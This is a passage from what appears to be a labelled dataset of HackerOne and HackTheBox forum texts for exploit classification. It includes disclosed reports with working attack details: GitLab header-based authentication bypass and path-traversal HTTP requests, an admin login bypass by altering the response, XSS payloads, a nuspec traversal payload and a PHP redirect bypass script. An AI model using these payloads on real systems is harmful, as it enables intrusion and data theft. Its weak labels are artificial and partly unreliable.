geo_push_user&.user\n      end\n\n      def geo_push_user\n        @geo_push_user ||= ::Geo::PushUser.new_from_headers(request.headers)\n      end\n```\nWhich mean the `user` for passing to Gitaly will be `user` from `geo_push_user`\n\n```ruby\n  def self.new_from_headers(headers)\n    return unless needed_headers_provided?(headers)\n\n    new(headers['Geo-GL-Id'])\n  end\n\n  def user\n    @user ||= identify_using_ssh_key(gl_id)\n  end\n```\n\nTracing from this we will reach here\n\n```ruby\n    def identify_using_ssh_key(identifier)\n      key_id = identifier.gsub(\"key-\", \"\")\n\n      identify_with_cache(:ssh_key, key_id) do\n        User.find_by_ssh_key_id(key_id)\n      end\n    end\n\n```\nThis means: I am able to authenticate as any **SSH-KEY** by just passing the ID of the Key to headers `Geo-GL-Id`\n\n### Steps to reproduce\n\nSpliting into 2 parts, **GEO** is not neccessary for the PoC but **EE** Plan should be.\n\n**Exposing Gitlab JWT**\n\n- Set up an Project\n- Get a Personal Access Token of the user\n- Send the following request \n\n```http\nPOST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1\nHost: gitlab3.example.vm\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0\nPrivate-Token: <private-token>\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryTdc8IV2vpQMwv6jW\nCookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all\nUpgrade-Insecure-Requests: 1\nContent-Length: 316\n\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW\nContent-Disposition: form-data; name=\"import_url\"\n\nhttp://gitlab3.example.vm/test/ttt\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW\nContent-Disposition: form-data; name=\"mirror\"; filename=test.txt\nContent-Type: image/jpg\n\ntrue\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW--\n```\n\n3. Later on send the following request \n\n```http\nGET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1\nHost: gitlab3.example.vm\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0\nPrivate-Token: <Private-Token>\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection:", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "94876a7b1151963c936b", "text": "can someone tell me what is going on here,… I am new here and I want to learn ACH and buying of logs", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d435a8ee6c65b966f488", "text": "I think you might be trying to do the same thing as me which I don’t know if it is possible, but that is to move the flag.txt to the directory so I could then open and read it. Instead however, I found it much easier to try and get the file to dump it’s contents to an error message.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58d3c45b588b06418331", "text": "Thanks @akiraowen I was stuck on this question. I followed your leads: 1). Use cupp and specify First Name, Surname and accept the question for special characters, numbers and leet mode. 2). Reduce the list of passwords with “sed” as taught in the HTB Academy module. 3). Use the tool “usernameGenerator” with “Harry Potter”. I also tried the username-anarchy tool and it worked. 4). With “hydra” the attack lasts literally 20 seconds or less.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbf3b7c8aae5f645a735", "text": "[Unknown] [CPP]: Add query for CWE-125 Out-of-bounds Read with different interpretation of the string when use mbtowc\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "404d98be797d475d057b", "text": "[Improper Access Control - Generic] Upload and delete files in debug page without access control.\n\nI found a debug page with no access control that allows:\n- Uploading files.\n- Reading files if they are in JSON format.\n- Delete files.\n\n## Impact\n\n- Insufficient access control.\n- An attacker can delete files exposed by the application.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n## For upload file:\n1. Use a browser to navigate to: https://█████/debug. \n2. Click on choose file button.\n3. Set the file path in the location field\n4. Click on the upload files button.\n5.See the file uploaded on the list.\n\n## For Read File\n1. Select the file.\n2. Click and Read File Content.\n3. See the content file.\n\n## For delete file:\n1. Select the file.\n2. Click on the Delete ENC Files button.\n\n## Suggested Mitigation/Remediation Actions\n- Implement access control on the page.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b60ba0cb2e8ca8e68b94", "text": "[Information Disclosure] Hackers two email disclosed on  submission at hackerone hactivity\n\n**Summary:**\nI was reading all hacker one's disclosed report , One this got my attention , where hackers/reporters email disclosed on video poc \n\n\n### Steps To Reproduce\n\n1. visit this report https://hackerone.com/reports/262661\n\n2. Scroll down until you see video poc \n{F2666724}\n\n3. Watch the video poc from 6.00-7.15 minutes \nas you can see hackers/reporters two emails has been disclosed \n███████\n████\n\n* Hacker one should check properly before disclosing any submission & must hide all the sensitive content from any submission .\n\n## Impact\n\ninformation disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e54387bd38d7f331fff7", "text": "[Improper Authentication - Generic] Admin Authentication Bypass Lead to Admin Account Takeover\n\nHello Team\n\nI found that i can bypass the login page of the Admin account by intercepting the respone of the login request of ```connectnb.ups.com``` subdomain and change ```status``` from ```false``` to ```true```\n\n## Steps To Reproduce:\n\n  1. Open ```https://connectnb.ups.com/Layout/login```\n  2. Enter ```Admin``` as a Username  and ```1111``` as a password \n\n{F1631133}\n\n  3. Press log in and Intercept the request in Burp\n```\nPOST /api/Account/Login/ HTTP/2\nHost: connectnb.ups.com\nCookie: __RequestVerificationToken=QebkjA4fUWqs_x5SlBpsNQLJfA_U-PO9D27S5PJ8o4WoQ7I7inEZxzHFoQ4huXpUb9jeC8L-JusQF0PU18M73AyQ-xH2jF4hJVYtxbOe5lQ1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nContent-Length: 38\nOrigin: https://connectnb.ups.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"UserName\":\"admin\",\"Password\":\"1111\"}\n```\n\n  4. Intercept the response for this request in Burp by >> ```Do Intercept >>Response to this request``` and then Forward this request\n  5. Change ```status``` value from ```false``` to ```true``` and Forward the request\n\n```\nHTTP/2 200 OK\nCache-Control: no-cache,no-cache,no-store\nPragma: no-cache,no-cache\nContent-Type: application/json; charset=utf-8\nExpires: -1\nServer: \nX-Content-Type-Options: nosniff\nX-Xss-Protection: 1; mode=block\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains;preload\nX-Frame-Options: DENY\nX-Ua-Compatible: IE=Edge\nContent-Security-Policy: script-src 'self'; object-src 'self'; frame-ancestors 'none'\nExpect-Ct: enforce, max-age=7776000, report-uri='https://connectnb.ups.com/'\nAccess-Control-Allow-Origin: https://connectnb.ups.com/\nAccess-Control-Allow-Headers: Accept, Content-Type, Origin\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS\nDate: Thu, 24 Feb 2022 03:59:01 GMT\nContent-Length: 71\n\n{\"status\":true,\"errorMessage\":\"Username and Password does not match.\"}\n```\n\n\n  6. Now open ```Report``` , ```Change Password``` and  ```Process Return``` and then Turn off the intercept of the Burp\n\n{F1631144}\n{F1631140}\n{F1631141}\n\n## Supporting Material/References:\n\nPOC Video\n\n{F1631161}\n\n## Impact\n\nThe attacker can \n- login as an admin by bypassing the authentication  \n- change the admin password to takeove the admin account\n- View the company's reports and delete them [1066 Report]\n- View processReturn", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c39c9c8801074a5b050", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://█████ via \"██████████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\nhttps://█████\n\nProof Of Concept\n\nhttps://████████?█████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████████=Search\n\n████\n\nBest Regards\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://████?███████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████=Search\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac6f76eeb073892024c8", "text": "[Privilege Escalation] support.invisionpower.com takeover the subdomain with Zendesk\n\nThe subdomain at https://support.invisionpower.com has an unclaimed CNAME record ( ipscommunity.zendesk.com ). I checked the username availability in the signup process at Zendesk, it was observed that the subdomain is vulnerable to a subdomain takeover which allows an attacker could exploit such a situation by registering the expired sub domain and setting up a phishing page that mimics the company’s main support website.\n\n## Impact\n\nSubdomain takeover can be abused to do several things like :\nMalware distribution\nPhishing / Spear phishing\nXSS\nAuthentication bypass\nLegitimate mail sending and receiving on behalf of the ford subdomain\n...\nThe list goes on and on.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "422da50facada44c8fbd", "text": "[Insufficiently Protected Credentials] Weak/Auto Fill Password\n\n## Summary:\nhttps://mtnc-selfservice.mtncameroon.net\n\nThe following url has admin/admin as user name and password \n\n## Steps To Reproduce:\n  1. open the url in any browser of your choice\n  1. enter admin as user name and password\n  1. booom .... full asset to super admin full panel \n\n## Supporting Material/References:\nSee attached screenshots\n\n## Impact\n\nAttacker can make major configuration changes to the services.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "034d933e1e04f35ca1ef", "text": "[Path Traversal] Arbitrary File Deletion via Path Traversal in image-edit.php\n\n## Summary:\nThe vulnerability is located in the `/libraries/image-editor/image-edit.php` script:\n\n```\n161.\t\tif (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {\n162.\t\t\tif (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp )) {\n163.\t\t\t\t$msg = _MD_AM_DBUPDATED;\n\n[...]\n\n190.\t\t} else {\n191.\t\t\tif (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp, $categ_path . $imgname )) {\n192.\t\t\t\t@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp );\n193.\t\t\t}\n```\n\nUser input passed through the \"image_temp\" parameter is not properly sanitized before being used in a call to the `unlink()` function at lines 162 and 192. This can be exploited to carry out Path Traversal attacks and delete arbitrary files in the context of the web server process.\n\n**NOTE**: before being deleted, the file will be copied into the `/uploads/imagemanager/logos/` directory. As such, by firstly deleting the `index.html` file in that directory, it might be possible to disclose the content of arbitrary files in case the web server allows for directory listing.\n\n## ImpressCMS branch :\nThe vulnerability has been tested and confirmed on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\n  1. Login into the application as any user (this should work both for Webmasters and Registered Users) \n  1. Go to: `http://[impresscms]/libraries/image-editor/image-edit.php?op=save&image_id=1&image_temp=../../../mainfile.php`\n  1. The `mainfile.php` script will be deleted, rendering the website unusable\n\n## Impact\n\nThis vulnerability might allow authenticated attackers to delete arbitrary files, potentially leading to a Denial of Service (DoS) condition or destruction of users data.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "54c912ce75a9ea2f092b", "text": "[Weak Password Recovery Mechanism for Forgotten Password] broken authentication (password reset link not expire after use   in  https://network.tochka.com/sign-up)\n\ntarget :-https://network.tochka.com/\n\nbug:-- Broken Authentication (Password Reset Link Not Expired After Use)\nseverity:- medium(“Insufficient Security Configurability >Weak Reset Password Implementation > Token Not Invalidated After Use”)\n\nSteps To Find This Bug:\n1.Go to https://network.tochka.com/sign-up\n2. Enter your email, and ask for a password reset link.\n3. Now go to mail and open that link in two tabs.\n4. Reset the password from one tab, reload the other tab , and if it let’s you reset password again then it is vulnerable to token not invalidated after use as we are resetting the password two times with same token.\n\nPOC :-\nAttached\n\nImpact/Exploit Scenario:\nIf victim’s email account is still logged into his/her Office Computers or any public Internet Café. Then any external attacker can use the used token to reset victims password.\nImpact\nIf victim’s email account is still logged into his/her Office Computers or any public Internet Café. Then any external attacker can use the used token to reset victims password.\n\n## Impact\n\nIf victim’s email account is still logged into his/her Office Computers or any public Internet Café. Then any external attacker can use the used token to reset victims password.\nImpact\nIf victim’s email account is still logged into his/her Office Computers or any public Internet Café. Then any external attacker can use the used token to reset victims password.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64193d3a5217fed80880", "text": "[Business Logic Errors] CVE-2023-23915: HSTS amnesia with --parallel\n\ncurl's HSTS cache saving behaves wrongly when multiple URLs are requested in parallel.\n\nUsing its HSTS support, curl can be instructed to use HTTPS instead of using an insecure clear-text HTTP step even when HTTP is provided in the URL. This HSTS mechanism would however surprisingly fail when multiple transfers are done in parallel as the HSTS cache file gets overwritten by the most recently completed transfer.\n\nA later HTTP-only transfer to the earlier host name would then not get upgraded properly to HSTS.\n\n## Impact\n\nBypass intended security control.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23915"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fa77ec9c8948b807aa51", "text": "[Improper Authentication - Generic] registering with the same email address multiple times leads to account takeover\n\n##i'm not sure if this issue is in scope or not or if it's intended , kindly if you don't accept this issue please close it as informative , thanks in advance\n\n## Summary:\nthe ability of the user to register many times using the same mail address can lead to account take over \n\n## Steps To Reproduce:\n\n  1. attacker goes to https://www.reddit.com/register/?dest=https%3A%2F%2Fwww.reddit.com%2F and signup by email for ex account@gmail.com and username attacker1 \n  2. attacker goes to his email and verify it \n  3. attacker logs out \n  4. user goes to https://www.reddit.com/register/?dest=https%3A%2F%2Fwww.reddit.com%2F and signup by email for ex account@gmail.com and username user1\n  5. attacker goes to his email and verify it \n  6.  user logs out \n  now since registering an account via the same email multiple times , the attacker can do the following \n  7.  go to https://www.reddit.com/username and type your email then click submit \n  8. all list of usernames registered on the attacker email will be sent to his mail \n  9. attacker gets the username of the victim user <user1>\n 10. attacker request password reset on the victim by entering his name <user1> and the attacker email <account@gmail.com> by going to https://www.reddit.com/password\n 11. the password of the victim is sent to the attacker email \n 12. the attacker takeovers the victim account by changing his password via reset link\n\n## Supporting Material/References:\nhttps://hackerone.com/reports/767829\n\n \n##if you need any help please tell me , if you need any extra info or a video as a poc please tell me and i'll provide it \n\n##fix:\nallow the user to register using the email only once.\n\n## Impact\n\nacoount takeover , disclosing of private info and chats \n\nif a user registers with an attacker email without knowing (as the application allows multiple registration email) then the attacker can takeover any account", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "35d09cec160347e209ec", "text": "[Insecure Direct Object Reference (IDOR)] IDOR in API applications (able to see any API token, leads to account takeover)\n\n## Summary:\nHi,\n\n@ehtis, thank you for the test account. Here is a critical report. :)\nOn Pressable, we can create API applications at https://my.pressable.com/api/applications, and we can access many things using the API token via following the [API docs](https://my.pressable.com/documentation/api/v1)\n\nI created an API application and tried to update it, I saw this request :\n\n████████\n\nAs you can see there is an `application[id]` parameter that contains the application ID. I changed it to my second account's application ID and that API app moved to my account. So, there is an IDOR but it doesn't have a great impact because it just removes the API application from the victim's account.\n\nSo I tried to escalate its impact and I noticed if we remove all parameters except `application[id]` and `authenticity_token`, then send the request, the endpoint gives an error with `Name must be provided` and prints the given application ID's page. And, that page contains `Client ID` and `Client Secret`!\n\nWith this information, the attacker can make many actions on the victim's account. (https://my.pressable.com/documentation/api/v1)\n\n## Steps To Reproduce:\n\n  1. Go to https://my.pressable.com/api/applications and create an API app\n  1. Click on the application and turn on your proxy program \n  1. Click `Update` and you will send a POST request to `/api/applications`\n  1. In this request, change the `application%5Bid%5D` parameter's value to the target app ID, **then remove all parameters except `application%5Bid%5D` and `authenticity_token`**\n  1. The page will give an error and you will see the victim app's page which contains `Client ID` and `Client Secret`\n  1. Now, you can use these API credentials on the Pressable API.\n\nNotes:\n- API application IDs are sequential, so the attacker doesn't have to guess the IDs, s/he can access all applications\n- The impact is critical because we can access many things via the API, that includes the \"collaborator\" endpoint https://my.pressable.com/documentation/api/v1#collaborator-bulk-create\n\n## Impact\n\nThe attacker can access all API credentials using this vulnerability, and that leads to account takeover (via adding collaborator etc.)\n\nRegards,\nBugra", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8567102bd13ee3dcfd1c", "text": "[HTTP Request Smuggling] CVE-2022-32213 - HTTP Request Smuggling Due to Flawed Parsing of Transfer-Encoding\n\nOriginal Report: https://hackerone.com/reports/1524555\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32213"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "50cad7ecf7222a5397ae", "text": "Hi can anyone DM on overflown, I already have the exploit working but Im not sure where to use it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4be7ddb3badea3303719", "text": "[Path Traversal] Path traversal in Nuget Package Registry\n\n### Summary\nThere's a path traversal issue in Nuget package registry which was released to GitLab-EE recently. The issue allows an attacker to create any file with an extension “.nupkg” in the filesystem. By combining the bug with a race condition in Gitaly which I used several times before (#762421, #732330). It could finally be used to read sensitive files in a GitLab instance.\n\nFor some context, a large part of the exploit were explained in #762421, the npm registry issue. Here I will focus on the simple path traversal part which makes a little bit difference.\n\nThe root cause of the path traversal lies at `ee/app/services/packages/nuget/metadata_extraction_service.rb`\n```\n      XPATHS = {                                                               \n        package_name: '//xmlns:package/xmlns:metadata/xmlns:id',               \n        package_version: '//xmlns:package/xmlns:metadata/xmlns:version'        \n      }.freeze \n...\n      def extract_metadata(file)                                               \n        doc = Nokogiri::XML(file)                                              \n                                                                               \n        XPATHS.map do |key, query|                                             \n          [key, doc.xpath(query).text]                                         \n        end.to_h \n```\nIt extracts the uploaded nupkg (which is in zip format) for the contained nuspec file (which is an XML). And then looks for attribute `id` and `version`. Then the extracted package_name(id), and package_version(version) will be concatenated into a new filename in `ee/app/services/packages/nuget/update_package_from_metadata_service.rb`\n```                                                                      \n        @package_file.transaction do                                           \n          @package_file.update!(                                               \n            file_name: package_filename,                                       \n            file: @package_file.file                                           \n          )      \n...\n      def package_filename                                                     \n        \"#{package_name.downcase}.#{package_version.downcase}.nupkg\"           \n      end    \n```\nSo my payload is:\n```                                                                  \n  <?xml version=\"1.0\" encoding=\"utf-8\"?>                                       \n  <package xmlns=\"http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd\">  \n    <metadata>                                                                 \n      <id>DummyProject.DummyPackage</id>                                       \n      <version>../../../../../nyangawa</version>                                            \n    </metadata>                                                                \n  </package>                                                                   \n```\nname the file above as `dummy.nuspec` and zip it into `dummy.nupkg` and upload it through `PUT /api/v4/projects/#{id}/packages/nuget/` endpoint  will make GitLab to create a `nyangawa.nupkg` somewhere in the filesystem.\n\nThen I wrote a script (I used in #762421) to combine this issue and the race in Gitaly. I could finally read any file I want in my GitLab instance.\n\n### Steps to reproduce\n\n1. Download the attached exploit.tar.gz and extract it.\n2. Install some requirements by gem install faraday and gem install rubyzip\n3. Edit exp.rb to update some url and credentials\n4. Execute the exp.rb to watch the result of .gitlab_shell_secret of target GitLab instance.\n\n### Examples\n{F750878}\n\n#### Results of GitLab environment info\n```\nroot@localhost:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\t\t\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.5p114\nGem Version:\t2.7.10\nBundler Version:1.17.3\nRake Version:\t12.3.3\nRedis Version:\t5.0.7\nGit Version:\t2.24.1\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.8.7-ee\nRevision", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bada631f1fd73db280cf", "text": "[Cross-site Scripting (XSS) - Reflected] Bypass of #2035332 RXSS at image.hackerone.live via the `url` parameter\n\nHeyy there,\nI was able to bypass the fix for the reflected xss reported in #2035332\n\nAfter the bug patch, the server now validates the `Content-Type` of the requested resource. The check is done by making a `HEAD` based request to the resource to get the `Content-Type` then if it corresponds to a valid image mime type a second request is made this time `GET` based to retrieve the page resource content.\n\nDue to the HEAD based check it's very easy to bypass this check, just need to modify the server to response with a different `Content-Type` in case of GET and HEAD request\n\nExample code:\n\n```php\n<?php\n\nif ($_SERVER['REQUEST_METHOD'] == 'HEAD') {\n    header(\"Content-Type: image/png\");\n    exit;\n}\n\nheader(\"Location: https://sudistark.github.io/evilsvgfile.svg\");\n\n?>\n```\n\nTOCTOU ( time-of-check to time-of-use) : At the time of check the application relies  upon HEAD request but at the time of use relies upon GET request this allows the attacker to bypass the protection.\n\n\nThis xss works only in the Safari browser , I was able to find the problem why it doesn't works in other browser. It had do something with the `Accept` header.\n\nOther browsers send the Accept header with these values: \n\n```\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n```\nThe server applies sanitization if the Accept header is similar to above, in case of Safari it does something wierd (I don;t actually have a mac so not sure what's eactly it's sending in the Accept header)\nBut the server doesn;t does any sanitization if the header value is like this\n\n```\nAccept: */*\n```\n\n---------------------------------\n\n\n**Steps to reproduce:**\n\n1.Save this code in your webserver xss.php\n\n```php\n<?php\n\nif ($_SERVER['REQUEST_METHOD'] == 'HEAD') {\n    header(\"Content-Type: image/png\");\n    exit;\n}\n\nheader(\"Location: https://sudistark.github.io/evilsvgfile.svg\");\n\n?>\n```\n2.Then input your host in the url parameter: https://image.hackerone.live:8443/resource/md/get/url?url=http://yourhost/ss.php\n3.Open this url in Safari browser and you should get the xss\n{F2593672}\n\n\n---------------------------------\n\n## Impact\n\nAs the server is behind cloudflare I can;t directly make a request to the AWS metadata endpoint, but for the least I can confirm the xss with the provided poc\n\nThankyou\nRegards\nSudhanshu", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3a5767d0c8f652475a83", "text": "Anytime I run into a problem on HTB, where I have the obvious answer and it doesn’t work, I log out of my account and log back in. Then retry the answer and it will work. They have a bug of some type. I am sure it can’t just be me. For a long time I thought I was loosing my mind. I would put the right answer in and it would say incorrect. After awhile I noticed if I came back the next day and put the exact same answer, it would accept it. I have tested this multiple times and found it to be a very consistent problem, this is my biggest ■■■■■ about HTB is this problem. Hope this helps", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d568e01ba6f3665e3118", "text": "[Incorrect Authorization] inDriver Job - Admin Approval Bypass\n\n## Summary:\nA vulnerability has been found in \"inDriver Job\", an application located at https://injob.indriver.com/, a platform that allows employers to **publish job offers** and candidates to sign up for them. It seems like the application has **heavy use**, with a plethora of job offers in many categories.\n\nIn the app, anyone can request to **create job offers**, but, to prevent spam, scamming and phishing, every job offer creation and edit **has to be approved by a site admin** before being published. This is essential, since it prevents the app from getting **flooded with scammers**.\n\nThe vulnerability discovered allows an attacker to **completely bypass** this approval step, allowing the publishing of arbitrary content.\n\n## Technical Details:\nOn the last step of the job offer creation, the application makes a final `POST` request to `/api/graphql`, calling for `UpdateVacancyStatus`.\n\n```\n{\"operationName\":\"UpdateVacancyStatus\",\"variables\":{\"vacancyId\":\"█████\",\"status\":\"MODERATION\"}\n...\n```\nRe-sending this request, but modifying the **\"status\" variable to \"ACTIVE\"**, bypasses the need for a moderator approval, **publishing the ad**.\n\n## Video POC\n██████████\n\n## Steps To Reproduce:\n*Note for Triager: A phone number is required for signup. To skip this step, I've attached my session cookies. Using these, you could reproduce the steps noted below.*\n\n(Please see video for in-depth demo)\n  1. In employer mode, create a new job offer\n  2. Fill in the required fields\n  3. After the creation, the offer will appear as \"Pending Approval\"\n  4. In Burp Proxy, send the last \"UpdateVacancyStatus\" request to Repeater, modifying \"status\":\"ACTIVE\"\n  5. The arbitrary ad will now show up as \"Active\", it will have been verified and published. All users will be able to see it.\n\n## Impact\n\nAn attacker can use this vulnerability to upload arbitrary content, for **scamming**, **malware** or even **advertising** purposes.\nIt is also possible to **flood the platform** with infinite offers, making it unusable for legitimate users.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc46706746966906f02f", "text": "[Server-Side Request Forgery (SSRF)] SSRF vulnerability can be exploited when a hijacked aggregated api server such as metrics-server returns 30X\n\nReport Submission Form\n\n## Summary:\nThis report uses metrics-server as example, but it should be applicable to any aggregated api server.\n\nWhen metrics-server is hijacked, either by modifying the container image directly or by running another pods using the same label selector in kube-system namespace, and is returning 30X redirect, the clients calling the metrics api will follow the redirect.\n\nIt could be a serious issue in managed Kubernetes offerings such as Azure Kubernetes Service (AKS) where clients from managed components may be redirected to call the internal endpoints.\n\nNote: my coworker, Nicolas Joly, found the issue and reported my team (AKS)\n\n## Kubernetes Version:\nall k8s versions on AKS. I believe it's the same in other cloud providers.\n\n## Component Version:\nn/a\n\n## Steps To Reproduce:\n* Attached main.go is a very simple redirection api server. I've built the docker image on weinong/go-redirect.\n* update and deploy `go-redirect.yaml` with your endpoint to capture the redirected  traffic in kube-system namespace. It uses the same pod label selector as metrics-server does\n* you should be able to observe redirected traffic from the control plane components \n\n## Supporting Material/References:\nSample output being logged in the web server capturing redirected traffic:\n```\n2022/04/16 00:30:13 src IP: 20.51.80.40:4096\nGET / 